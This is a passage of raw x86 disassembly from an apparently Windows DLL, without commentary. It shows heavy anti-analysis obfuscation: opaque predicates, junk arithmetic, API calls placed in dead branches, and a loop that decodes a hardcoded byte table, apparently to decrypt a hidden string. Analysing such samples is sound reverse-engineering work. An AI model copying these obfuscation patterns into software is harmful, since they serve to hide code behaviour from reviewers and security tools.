mov esi, dword [eax]
add esi, dword [ebp - 0x4e0]
push 0
lea ecx, [ebp - 0xa2c]
call fcn.100179fa
cmp dword [eax], esi
jle 0x10046aad
mov dword [ebp - 0x904], 1
jmp 0x10046ab4
and dword [ebp - 0x904], 0
push 2
lea ecx, [ebp - 0xbcc]
call fcn.100179fa
mov ecx, dword [ebp - 0x904]
imul ecx, dword [eax]
imul esi, ecx, 0xfffa
push 0
lea ecx, [ebp - 0xa2c]
call fcn.100179fa
cmp esi, dword [eax]
jl 0x10046aed
mov dword [ebp - 0x4e8], 1
jmp 0x10046af4
and dword [ebp - 0x4e8], 0
push 0
lea ecx, [ebp - 0xa2c]
call fcn.100179fa
mov ecx, dword [ebp - 0x4e8]
mov dword [eax], ecx
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xbcc]
call fcn.100179de
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa2c]
call fcn.100179de
mov dword [ebp - 0x1a0], 0xc96d
mov dword [ebp - 0x1d0], 0xdf2f4a8b
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1d0], 0xffffffec
jmp 0x10046b60
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0x13
jle 0x10046d00
mov dword [ebp - 0x4f0], 0x63c40785
mov dword [ebp - 0xed0], 0x1636717b
mov dword [ebp - 0xfac], 0x8a36a77d
mov dword [ebp - 0x1a0], 0
jmp 0x10046ba4
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0x18
jge 0x10046cfb
mov dword [ebp - 0xd38], 0x4fd52280
mov dword [ebp - 0xd34], 0x4fd52280
mov dword [ebp - 0xd30], 0x4fd52280
mov dword [ebp - 0xd2c], 0x4fd52280
lea ecx, [ebp - 0x3b9]
call fcn.10017a09
push eax
lea eax, [ebp - 0xd28]
push eax
lea eax, [ebp - 0xd38]
push eax
lea ecx, [ebp - 0x1044]
call fcn.10017a0c
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xc94]
call fcn.100179b8
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x90c], 0xffffffff
mov dword [ebp - 0xbac], 0xfffffff9
mov dword [ebp - 0x278], 0
jmp 0x10046c42
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 1
jge 0x10046c5e
mov eax, dword [ebp - 0x278]
mov dword [ebp + eax*4 - 0xedc], 0x4a6b
jmp 0x10046c35
mov byte [ebp - 0xec], 0
movzx eax, byte [ebp - 0xec]
test eax, eax
je 0x10046c78
push 0
call dword [sym.imp.GDI32.dll_CreateBitmapIndirect]
mov dword [ebp - 0x90c], 0xffff
mov eax, dword [ebp - 0x4f0]
add eax, dword [ebp - 0x90c]
je 0x10046ca0
mov eax, 0x104acd6b
test eax, eax
je 0x10046ca0
cmp dword [ebp - 0x4f0], 0
push 2
lea ecx, [ebp - 0xc94]
call fcn.100179fa
cmp dword [eax], 7
jne 0x10046cbe
mov dword [ebp - 0xba4], 1
jmp 0x10046cc5
and dword [ebp - 0xba4], 0
push 2
lea ecx, [ebp - 0xc94]
call fcn.100179fa
push 2
lea ecx, [ebp - 0xc94]
call fcn.100179fa
mov eax, dword [eax]
mov dword [ebp - 0xbac], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc94]
call fcn.100179de
jmp 0x10046b97
jmp 0x10046b53
mov byte [ebp - 0x230], 7
mov byte [ebp - 0x22f], 0xd1
mov byte [ebp - 0x22e], 5
mov byte [ebp - 0x22d], 0x1b
mov byte [ebp - 0x22c], 0xb
mov byte [ebp - 0x22b], 0xa
mov byte [ebp - 0x22a], 9
mov byte [ebp - 0x229], 0x16
mov byte [ebp - 0x228], 8
mov byte [ebp - 0x227], 1
mov byte [ebp - 0x226], 6
mov byte [ebp - 0x225], 0x1c
mov byte [ebp - 0x224], 4
mov byte [ebp - 0x223], 0x16
mov byte [ebp - 0x222], 0xc
mov byte [ebp - 0x221], 0x32
mov byte [ebp - 0x220], 3
mov byte [ebp - 0x21f], 0x54
mov byte [ebp - 0x21e], 0x1b
mov byte [ebp - 0x21d], 0xb1
mov byte [ebp - 0x21c], 2
mov byte [ebp - 0x21b], 0x23
mov byte [ebp - 0x21a], 1
mov byte [ebp - 0x219], 0x11
mov byte [ebp - 0x218], 3
mov byte [ebp - 0x217], 0x33
mov byte [ebp - 0x216], 0xa
mov byte [ebp - 0x215], 0x13
mov byte [ebp - 0x214], 0
mov byte [ebp - 0x213], 2
mov dword [ebp - 0x3fc], 0xa3a1
mov dword [ebp - 0x3e8], 0xfffe
mov dword [ebp - 0x510], 0x11023dcd
mov dword [ebp - 0x92c], 1
mov dword [ebp - 0xf7c], 0xe02189f4
mov dword [ebp - 0x388], 0xdac7a8cf
mov dword [ebp - 0xee4], 0x4e26c12a
mov dword [ebp - 0xc44], 0x5954e3f1
push 1
lea ecx, [ebp - 0xcac]
call fcn.1001795c
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x3f0], 0x57a10dd6
mov dword [ebp - 0x91c], 0xd9fa
mov dword [ebp - 0x74], 0
jmp 0x10046e5a
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 1
jge 0x10046e73
push dword [ebp - 0x74]
lea ecx, [ebp - 0xcac]
call fcn.100179fa
or dword [eax], 0xffffffff
jmp 0x10046e53
mov dword [ebp - 0x74], 0
jmp 0x10046e83
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 2
jge 0x10046e99
mov eax, dword [ebp - 0x74]
mov dword [ebp + eax*4 - 0xeb4], 0x241a
jmp 0x10046e7c
mov eax, dword [ebp - 0x3fc]
mov dword [ebp - 0x3e8], eax
cmp dword [ebp - 0x3e8], 0
je 0x10046fc7
cmp dword [ebp - 0x92c], 0
jne 0x10046f15
push 0
lea ecx, [ebp - 0xcac]
call fcn.100179fa
or dword [eax], 0xffffffff
or eax, 0xffffffff
sub eax, dword [ebp - 0x388]
cmp eax, 8
jl 0x10046ee5
mov dword [ebp - 0x914], 1
jmp 0x10046eec
and dword [ebp - 0x914], 0
mov eax, dword [ebp - 0x914]
sub eax, dword [ebp - 0x3e8]
jne 0x10046f15
push 0
lea ecx, [ebp - 0xcac]
call fcn.100179fa
cmp dword [eax], 0
jne 0x10046f15
and dword [ebp - 0x4f8], 0
jmp 0x10046f1f
mov dword [ebp - 0x4f8], 1
mov eax, dword [ebp - 0x4f8]
mov dword [ebp - 0x91c], eax
mov eax, dword [ebp - 0x3f0]
mov dword [ebp - 0xbb4], eax
imul eax, dword [ebp - 0x91c], 0xf1ba
sub eax, 8
mov dword [ebp - 0xbbc], eax
mov eax, dword [ebp - 0x3f0]
inc eax
mov dword [ebp - 0x3f0], eax
mov eax, dword [ebp - 0xbb4]
cmp eax, dword [ebp - 0xbbc]
jne 0x10046f71
mov dword [ebp - 0x500], 1
jmp 0x10046f78
and dword [ebp - 0x500], 0
cmp dword [ebp - 0x500], 0xaa9c
jne 0x10046f90
mov dword [ebp - 0x924], 1
jmp 0x10046f97
and dword [ebp - 0x924], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x924]
sub ecx, dword [ebp - 0x92c]
mov edx, dword [ebp - 0x3fc]
imul edx, ecx
sub edx, dword [ebp + eax - 0xeb4]
je 0x10046fc7
mov dword [ebp - 0x954], 1
jmp 0x10046fce
and dword [ebp - 0x954], 0
mov eax, dword [ebp - 0x954]
mov dword [ebp - 0x510], eax
mov eax, dword [ebp - 0x510]
sub eax, 0xcb81
cmp dword [ebp - 0x3fc], eax
jl 0x10046ff9
mov dword [ebp - 0x780], 1
jmp 0x10047000
and dword [ebp - 0x780], 0
mov eax, dword [ebp - 0x780]
add eax, 0x4331c0b0
jne 0x1004701f
cmp dword [ebp - 0xc44], 0
jne 0x1004701f
and dword [ebp - 0x518], 0
jmp 0x10047029
mov dword [ebp - 0x518], 1
mov eax, dword [ebp - 0x388]
cmp dword [ebp - 0x518], eax
jl 0x10047043
mov dword [ebp - 0x8b8], 1
jmp 0x1004704a
and dword [ebp - 0x8b8], 0
cmp dword [ebp - 0x8b8], 7
jle 0x1004705f
mov dword [ebp - 0x520], 1
jmp 0x10047066
and dword [ebp - 0x520], 0
mov eax, dword [ebp - 0x520]
mov dword [ebp - 0x388], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcac]
call fcn.100179de
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x230]
and eax, 0xb8
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x230]
or ecx, 0xb8
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x230]
mov byte [ebp + eax - 0xc3c], cl
mov dword [ebp - 0x48], 2
and dword [ebp - 0x31c], 0
jmp 0x100470d7
mov eax, dword [ebp - 0x48]
inc eax
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x1e
jae 0x10047c01
mov dword [ebp - 0x280], 0x69fdf99f
push 1
lea ecx, [ebp - 0xda0]
call fcn.1001795c
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x304], 0
jmp 0x10047118
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 1
jge 0x1004713a
push dword [ebp - 0x304]
lea ecx, [ebp - 0xda0]
call fcn.100179fa
mov dword [eax], 0x6a485bf2
jmp 0x1004710b
mov dword [ebp - 0x280], 0xffffffec
jmp 0x10047153
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0xfffffff2
jne 0x100471c1
mov dword [ebp - 0x30c], 0xb7161ab6
push 0
lea ecx, [ebp - 0xda0]
call fcn.100179fa
mov dword [eax], 0xbacd7953
mov dword [ebp - 0x30c], 0
jmp 0x10047192
mov eax, dword [ebp - 0x30c]
dec eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0
jl 0x100471bf
mov byte [ebp - 0xee], 0
movzx eax, byte [ebp - 0xee]
test eax, eax
je 0x100471bd
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
jmp 0x10047185
jmp 0x10047146
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xda0]
call fcn.100179de
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x230]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x48], eax
jne 0x1004794b
mov dword [ebp - 0x788], 0xca631852
mov dword [ebp - 0x9c], 0xda7fe64f
mov dword [ebp - 0x528], 9
push 1
lea ecx, [ebp - 0xa20]
call fcn.1001795c
mov dword [ebp - 4], 0xd
mov dword [ebp - 0xa54], 0x1d4c3f12
mov dword [ebp - 0xc1c], 0x2f520a04
mov dword [ebp - 0xb4], 0
jmp 0x1004724a
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 2
jge 0x10047266
mov eax, dword [ebp - 0xb4]
mov dword [ebp + eax*4 - 0x1c0], 0x39beb064
jmp 0x1004723d
mov dword [ebp - 0xb4], 0
jmp 0x1004727f
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 1
jge 0x100472a1
push dword [ebp - 0xb4]
lea ecx, [ebp - 0xa20]
call fcn.100179fa
mov dword [eax], 0xd23c5ad0
jmp 0x10047272
mov eax, dword [ebp - 0x9c]
dec eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x788], 0
jne 0x100472c9
cmp dword [ebp - 0x788], 0
jne 0x100472c9
and dword [ebp - 0x3d4], 0
jmp 0x100472d3
mov dword [ebp - 0x3d4], 1
push 0
lea ecx, [ebp - 0xa20]
call fcn.100179fa
mov ecx, dword [ebp - 0x3d4]
mov dword [eax], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1c0]
cmp dword [ebp - 0x3d4], eax
jne 0x10047309
mov dword [ebp - 0x9b0], 1
jmp 0x10047310
and dword [ebp - 0x9b0], 0
mov dword [ebp - 0x528], 0xfffffff6
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x528]
sub ecx, dword [ebp - 0x9b0]
cmp ecx, dword [ebp + eax - 0x1c0]
jne 0x10047341
mov dword [ebp - 0x530], 1
jmp 0x10047348
and dword [ebp - 0x530], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1c0]
cmp dword [ebp - 0x530], eax
jle 0x10047369
mov dword [ebp - 0x790], 1
jmp 0x10047370
and dword [ebp - 0x790], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1c0]
cmp dword [ebp - 0x790], eax
jg 0x10047391
mov dword [ebp - 0xbfc], 1
jmp 0x10047398
and dword [ebp - 0xbfc], 0
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0xfc8], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1c0], 0
jne 0x100473c0
mov dword [ebp - 0x538], 1
jmp 0x100473c7
and dword [ebp - 0x538], 0
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x538], eax
jne 0x100473e1
mov dword [ebp - 0x8c0], 1
jmp 0x100473e8
and dword [ebp - 0x8c0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1c0]
cmp dword [ebp - 0x8c0], eax
jl 0x10047409
mov dword [ebp - 0x540], 1
jmp 0x10047410
and dword [ebp - 0x540], 0
cmp dword [ebp - 0x540], 0xe974
jge 0x10047428
mov dword [ebp - 0x798], 1
jmp 0x1004742f
and dword [ebp - 0x798], 0
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x798], eax
jle 0x10047449
mov dword [ebp - 0x548], 1
jmp 0x10047450
and dword [ebp - 0x548], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1c0]
cmp eax, dword [ebp - 0x548]
jl 0x10047471
mov dword [ebp - 0x390], 1
jmp 0x10047478
and dword [ebp - 0x390], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x390]
mov dword [ebp + eax - 0x1c0], ecx
cmp dword [ebp - 0x390], 0x81606dc0
jbe 0x100474c7
push 0
lea ecx, [ebp - 0xa20]
call fcn.100179fa
cmp dword [eax], 0
je 0x100474c7
push 0
lea ecx, [ebp - 0xa20]
call fcn.100179fa
cmp dword [eax], 0
je 0x100474c7
mov dword [ebp - 0x960], 1
jmp 0x100474ce
and dword [ebp - 0x960], 0
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x960], eax
jne 0x100474e8
mov dword [ebp - 0x550], 1
jmp 0x100474ef
and dword [ebp - 0x550], 0
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x550], eax
je 0x10047516
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1c0], 0
jne 0x10047516
and dword [ebp - 0x7a0], 0
jmp 0x10047520
mov dword [ebp - 0x7a0], 1
mov eax, dword [ebp - 0xa54]
imul eax, dword [ebp - 0x7a0]
test eax, eax
je 0x1004754c
mov eax, 0xed761e7f
test eax, eax
je 0x1004754c
push 0
lea ecx, [ebp - 0xa20]
call fcn.100179fa
cmp dword [eax], 0
jne 0x10047565
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1c0], 0
jne 0x10047565
and dword [ebp - 0xa60], 0
jmp 0x1004756f
mov dword [ebp - 0xa60], 1
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0xeec], eax
cmp dword [ebp - 0x9c], 0
jne 0x1004759d
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1c0], 0
jne 0x1004759d
and dword [ebp - 0x558], 0
jmp 0x100475a7
mov dword [ebp - 0x558], 1
mov eax, dword [ebp - 0x558]
mov dword [ebp - 0xc1c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa20]
call fcn.100179de
mov eax, dword [ebp - 0x48]
movzx eax, byte [ebp + eax - 0x230]
inc eax
mov dword [ebp - 0x31c], eax
mov eax, dword [ebp - 0x48]
movzx eax, byte [ebp + eax - 0x230]
mov ecx, dword [ebp - 0x48]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0xfc], 0xcc2fdcb
push 2
lea ecx, [ebp - 0x9e4]
call fcn.1001795c
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x78], 1
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x1c8], 7
mov dword [ebp - 0xf84], 0x778d402a
mov dword [ebp - 0x288], 0
jmp 0x10047645
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 2
jge 0x10047667
push dword [ebp - 0x288]
lea ecx, [ebp - 0x9e4]
call fcn.100179fa
mov dword [eax], 0xfffffff9
jmp 0x10047638
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x8c8], eax
push 1
lea ecx, [ebp - 0x9e4]
call fcn.100179fa
mov ecx, dword [ebp - 0x8c8]
mov dword [eax], ecx
cmp dword [ebp - 0x8c8], 0
je 0x100476af
push 0
lea ecx, [ebp - 0x9e4]
call fcn.100179fa
cmp dword [eax], 0
je 0x100476af
mov dword [ebp - 0xa5c], 1
jmp 0x100476b6
and dword [ebp - 0xa5c], 0
cmp dword [ebp - 0xfc], 0xaee5a986
ja 0x100476ce
mov dword [ebp - 0x560], 1
jmp 0x100476d5
and dword [ebp - 0x560], 0
mov eax, dword [ebp - 0x560]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0xef4], eax
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xfb4], eax
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xefc], eax
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xf8c], eax
imul eax, dword [ebp - 0x78], 0x194
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0
je 0x10047736
mov eax, 0x941c
test eax, eax
je 0x10047736
mov dword [ebp - 0x7a8], 1
jmp 0x1004773d
and dword [ebp - 0x7a8], 0
mov eax, dword [ebp - 0xfc]
add eax, dword [ebp - 0x7a8]
cmp eax, 0x66c1932e
jg 0x1004775c
mov dword [ebp - 0x568], 1
jmp 0x10047763
and dword [ebp - 0x568], 0
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0x568], eax
je 0x100478ab
mov dword [ebp - 0x314], 1
mov dword [ebp - 0x400], 9
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x314], eax
xor eax, eax
inc eax
je 0x100477ac
cmp dword [ebp - 0x314], 0
je 0x100477ac
mov dword [ebp - 0x9d0], 1
jmp 0x100477b3
and dword [ebp - 0x9d0], 0
mov eax, dword [ebp - 0x314]
cmp dword [ebp - 0x9d0], eax
je 0x100477cd
mov dword [ebp - 0xb88], 1
jmp 0x100477d4
and dword [ebp - 0xb88], 0
mov eax, 0xfae0
test eax, eax
jne 0x100477f8
push 1
lea ecx, [ebp - 0x9e4]
call fcn.100179fa
cmp dword [eax], 0
jne 0x100477f8
and dword [ebp - 0xa64], 0
jmp 0x10047802
mov dword [ebp - 0xa64], 1
mov eax, dword [ebp - 0x400]
mov dword [ebp - 0xe0c], eax
push 0xfffffffffffffff8
pop eax
test eax, eax
jne 0x10047827
cmp dword [ebp - 0x400], 0
jne 0x10047827
and dword [ebp - 0x570], 0
jmp 0x10047831
mov dword [ebp - 0x570], 1
mov eax, dword [ebp - 0x400]
cmp dword [ebp - 0x570], eax
jl 0x1004784b
mov dword [ebp - 0x7b0], 1
jmp 0x10047852
and dword [ebp - 0x7b0], 0
imul eax, dword [ebp - 0x7b0], 0xffffffff
test eax, eax
jne 0x1004786f
mov eax, 0x7438
test eax, eax
jne 0x1004786f
and dword [ebp - 0x578], 0
jmp 0x10047879
mov dword [ebp - 0x578], 1
mov eax, dword [ebp - 0x314]
cmp dword [ebp - 0x578], eax
jle 0x10047893
mov dword [ebp - 0x8d0], 1
jmp 0x1004789a
and dword [ebp - 0x8d0], 0
mov eax, dword [ebp - 0x8d0]
mov dword [ebp - 0x1c8], eax
jmp 0x10047937
mov dword [ebp - 0x1c8], 0xc
jmp 0x100478c4
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0x29
jl 0x10047937
mov dword [ebp - 0x78], 0
jmp 0x100478dd
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 2
jge 0x100478f9
push dword [ebp - 0x78]
lea ecx, [ebp - 0x9e4]
call fcn.100179fa
mov dword [eax], 0xe26a8acd
jmp 0x100478d6
mov dword [ebp - 0x104], 1
jmp 0x10047912
mov eax, dword [ebp - 0x104]
dec eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0
jl 0x10047935
push dword [ebp - 0x104]
lea ecx, [ebp - 0x9e4]
call fcn.100179fa
cmp dword [eax], 0
je 0x10047933
jmp 0x10047935
jmp 0x10047905
jmp 0x100478b7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9e4]
call fcn.100179de
jmp 0x100470cf
mov dword [ebp - 0x5a8], 0x9d2e819d
mov dword [ebp - 0x7c0], 0
mov dword [ebp - 0x968], 0xaa3e8f08
mov dword [ebp - 0x598], 0x286a4abf
mov dword [ebp - 0x5a0], 4
mov dword [ebp - 0xa6c], 0x664fb7d4
mov dword [ebp - 0x290], 0
jmp 0x100479a0
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 1
jge 0x100479b9
mov eax, dword [ebp - 0x290]
mov dword [ebp + eax*4 - 0x58], 0xba1a4d63
jmp 0x10047993
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x58]
cmp ecx, dword [ebp + eax - 0x58]
je 0x10047abe
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x58]
mov dword [ebp - 0xe14], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x58]
mov dword [ebp - 0xe1c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x58]
mov dword [ebp - 0xe24], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x58]
cmp eax, dword [ebp - 0x5a8]
jle 0x10047a21
mov dword [ebp - 0x580], 1
jmp 0x10047a28
and dword [ebp - 0x580], 0
cmp dword [ebp - 0x580], 0x88a01932
jae 0x10047a40
mov dword [ebp - 0x7b8], 1
jmp 0x10047a47
and dword [ebp - 0x7b8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x58]
imul eax, dword [ebp - 0x7b8]
inc eax
cmp eax, 0x951b
jne 0x10047a6c
mov dword [ebp - 0x588], 1
jmp 0x10047a73
and dword [ebp - 0x588], 0
mov eax, dword [ebp - 0x7c0]
imul eax, dword [ebp - 0x588]
mov dword [ebp - 0x968], eax
cmp dword [ebp - 0x968], 0
jne 0x10047aa1
mov eax, 0x21b1
test eax, eax
jne 0x10047aa1
and dword [ebp - 0x590], 0
jmp 0x10047aab
mov dword [ebp - 0x590], 1
mov eax, dword [ebp - 0x590]
neg eax
jne 0x10047abe
and dword [ebp - 0xad8], 0
jmp 0x10047ac8
mov dword [ebp - 0xad8], 1
mov eax, dword [ebp - 0x7c0]
mov dword [ebp - 0xe2c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x58]
mov dword [ebp - 0xe34], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x58]
mov dword [ebp - 0x598], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x598]
cmp ecx, dword [ebp + eax - 0x58]
je 0x10047b12
mov dword [ebp - 0x8d8], 1
jmp 0x10047b19
and dword [ebp - 0x8d8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x58]
add eax, dword [ebp - 0x8d8]
jne 0x10047b3d
cmp dword [ebp - 0x5a0], 0
jne 0x10047b3d
and dword [ebp - 0x7c8], 0
jmp 0x10047b47
mov dword [ebp - 0x7c8], 1
mov eax, dword [ebp - 0x5a0]
cmp dword [ebp - 0x7c8], eax
jne 0x10047b61
mov dword [ebp - 0x9d8], 1
jmp 0x10047b68
and dword [ebp - 0x9d8], 0
mov eax, dword [ebp - 0x5a8]
cmp dword [ebp - 0x9d8], eax
jne 0x10047b82
mov dword [ebp - 0x5b0], 1
jmp 0x10047b89
and dword [ebp - 0x5b0], 0
mov eax, dword [ebp - 0x5b0]
mov dword [ebp - 0xa6c], eax
mov eax, dword [ebp - 0x48]
sub eax, dword [ebp - 0x31c]
movzx eax, byte [ebp + eax - 0x232]
movsx eax, byte [ebp + eax - 0xc3c]
mov ecx, dword [ebp - 0x48]
movzx ecx, byte [ebp + ecx - 0x22f]
and ecx, eax
mov eax, dword [ebp - 0x48]
sub eax, dword [ebp - 0x31c]
movzx eax, byte [ebp + eax - 0x232]
movsx eax, byte [ebp + eax - 0xc3c]
mov edx, dword [ebp - 0x48]
movzx edx, byte [ebp + edx - 0x22f]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x48]
movzx eax, byte [ebp + eax - 0x230]
mov byte [ebp + eax - 0xc3c], dl
and dword [ebp - 0x31c], 0
jmp 0x100470cf
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0xc3c], 0
push 3
lea ecx, [ebp - 0x37c]
call fcn.1001795c
mov dword [ebp - 4], 0xf
mov dword [ebp - 0xbc], 3
mov dword [ebp - 0x144], 0x160cbeb9
mov dword [ebp - 0x298], 0
jmp 0x10047c50
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 3
jge 0x10047c72
push dword [ebp - 0x298]
lea ecx, [ebp - 0x37c]
call fcn.100179fa
mov dword [eax], 0x8a87013d
jmp 0x10047c43
push 1
lea ecx, [ebp - 0x37c]
call fcn.100179fa
cmp dword [eax], 0xfffffffd
jg 0x10047c90
mov dword [ebp - 0x7d0], 1
jmp 0x10047c97
and dword [ebp - 0x7d0], 0
mov eax, dword [ebp - 0x7d0]
mov dword [ebp - 0xbc], eax
mov eax, 0x20bd2ab
test eax, eax
je 0x10047cca
push 1
lea ecx, [ebp - 0x37c]
call fcn.100179fa
cmp dword [eax], 0
je 0x10047cca
mov dword [ebp - 0x5b8], 1
jmp 0x10047cd1
and dword [ebp - 0x5b8], 0
push 1
lea ecx, [ebp - 0x37c]
call fcn.100179fa
mov ecx, dword [ebp - 0x5b8]
cmp ecx, dword [eax]
jl 0x10047cf4
mov dword [ebp - 0x8e0], 1
jmp 0x10047cfb
and dword [ebp - 0x8e0], 0
mov eax, dword [ebp - 0x8e0]
mov dword [ebp - 0x144], eax
mov esi, dword [ebp - 0x144]
push 1
lea ecx, [ebp - 0x37c]
call fcn.100179fa
cmp dword [eax], esi
jne 0x10047e4b
mov dword [ebp - 0x324], 0
jmp 0x10047d3b
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 1
jge 0x10047d57
mov eax, dword [ebp - 0x324]
mov dword [ebp + eax*4 - 0x5c0], 0xffff
jmp 0x10047d2e
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x5c0], 0
push 1
lea ecx, [ebp - 0x37c]
call fcn.100179fa
cmp dword [eax], 0
jne 0x10047e27
push 0
lea ecx, [ebp - 0x37c]
call fcn.100179fa
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0xe3c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5c0]
cmp eax, dword [ebp - 0xbc]
jl 0x10047db9
push 1
lea ecx, [ebp - 0x37c]
call fcn.100179fa
push 0xfffffffffffffffb
pop eax
test eax, eax
jne 0x10047dd0
push 0xfffffffffffffffb
pop eax
test eax, eax
jne 0x10047dd0
and dword [ebp - 0x7d8], 0
jmp 0x10047dda
mov dword [ebp - 0x7d8], 1
push 1
lea ecx, [ebp - 0x37c]
call fcn.100179fa
mov ecx, dword [ebp - 0x7d8]
cmp ecx, dword [eax]
jge 0x10047dfd
mov dword [ebp - 0x5c8], 1
jmp 0x10047e04
and dword [ebp - 0x5c8], 0
mov eax, dword [ebp - 0x5c8]
sub eax, 9
cmp eax, dword [ebp - 0xbc]
jl 0x10047e1e
cmp dword [ebp - 0xbc], 0
jne 0x10047e27
and dword [ebp - 0x970], 0
jmp 0x10047e31
mov dword [ebp - 0x970], 1
push 2
lea ecx, [ebp - 0x37c]
call fcn.100179fa
mov ecx, dword [ebp - 0x970]
mov dword [eax], ecx
jmp 0x10047f29
mov dword [ebp - 0xbc], 0xfffffff6
jmp 0x10047e64
mov eax, dword [ebp - 0xbc]
dec eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0xffffffeb
je 0x10047ecf
push 1
lea ecx, [ebp - 0x37c]
call fcn.100179fa
cmp dword [eax], 0
je 0x10047e81
jmp 0x10047ecf
mov byte [ebp - 0xf0], 0
movzx eax, byte [ebp - 0xf0]
test eax, eax
je 0x10047ecd
push 0
push 0x556
push 0x1d2c
